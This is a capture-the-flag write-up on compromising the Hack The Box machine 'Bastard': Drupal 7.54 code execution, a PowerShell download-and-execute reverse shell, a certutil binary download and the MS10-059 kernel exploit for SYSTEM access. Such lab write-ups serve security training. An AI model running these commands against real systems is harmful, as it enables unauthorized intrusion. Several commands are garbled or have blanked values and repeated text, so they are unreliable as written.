Bastard – Hack The Box

Overall Summary

Bastard is a Windows machine from Hack the Box that is vulnerable to RCE through Drupal and privilege escalation can be accomplished by a kernel exploit because of the lack of patches. Overall, bastard is an easy machine and it can be exploited in more than one way.

Scanning and Enumeration

A full TCP nmap scan shows three ports open.

Browsing to the HTTP server displays a login page for Drupal which nmap discovered as being version 7.


If we browse to the CHANGELOG.txt file which was also discovered by nmap we will see that the exact version is Drupal 7.54.


Just by looking for vulnerabilities and exploits for the 7.54 version I was able to come across , a python exploit that takes advantage of  vulnerability that allows to execute arbitrary code because an issue with module configurations. The exploit can be executed by only providing a URL but it executes the command “id” by default, and since this a Windows machine we will have to issue the command as a parameter, this how I executed the script.

python3 -c "whoami"

To get a reverse shell I’ll use, a PowerShell reverse shell. I’ll first host the file on my attacking machine using python simpleHTTPServer, set up my netcat listener on port 443, and finally execute the exploit script with a command to download and execute the reverse shell. This is the command I’ll include in the execution of the script:

powershell iex (New-Object Net.WebClient).DownloadString('');Invoke-PowerShellTcp -Reverse -IPAddress -Port 443"


I was able to successfully get a PowerShell reverse shell.


Issuing the systeminfo command shows that the machines doesn’t have any hotfixes applied which means that a kernel exploit will most likely be used.



I used the output from the command and the tool “” and it returned different exploits.

By going down the list, I was able get the MS10-059 exploit working. The binary can be downloaded here . I uploaded this binary to the machine using certutil as follows:

certutil -urlcache -f Chimichurri.execertutil -urlcache -f Chimichurri.execertutil -urlcache -f Chimichurri.execertutil -urlcache -f Chimichurri.exe


The exploit requires to be executed with the attacking machine IP address and a port number to receive a reverse shell. This is how it’s executed:

./Chimichurri.exe 4321

After a few seconds I was able to successfully get a reverse shell as “nt authority\system”.

Notify of
Inline Feedbacks
View all comments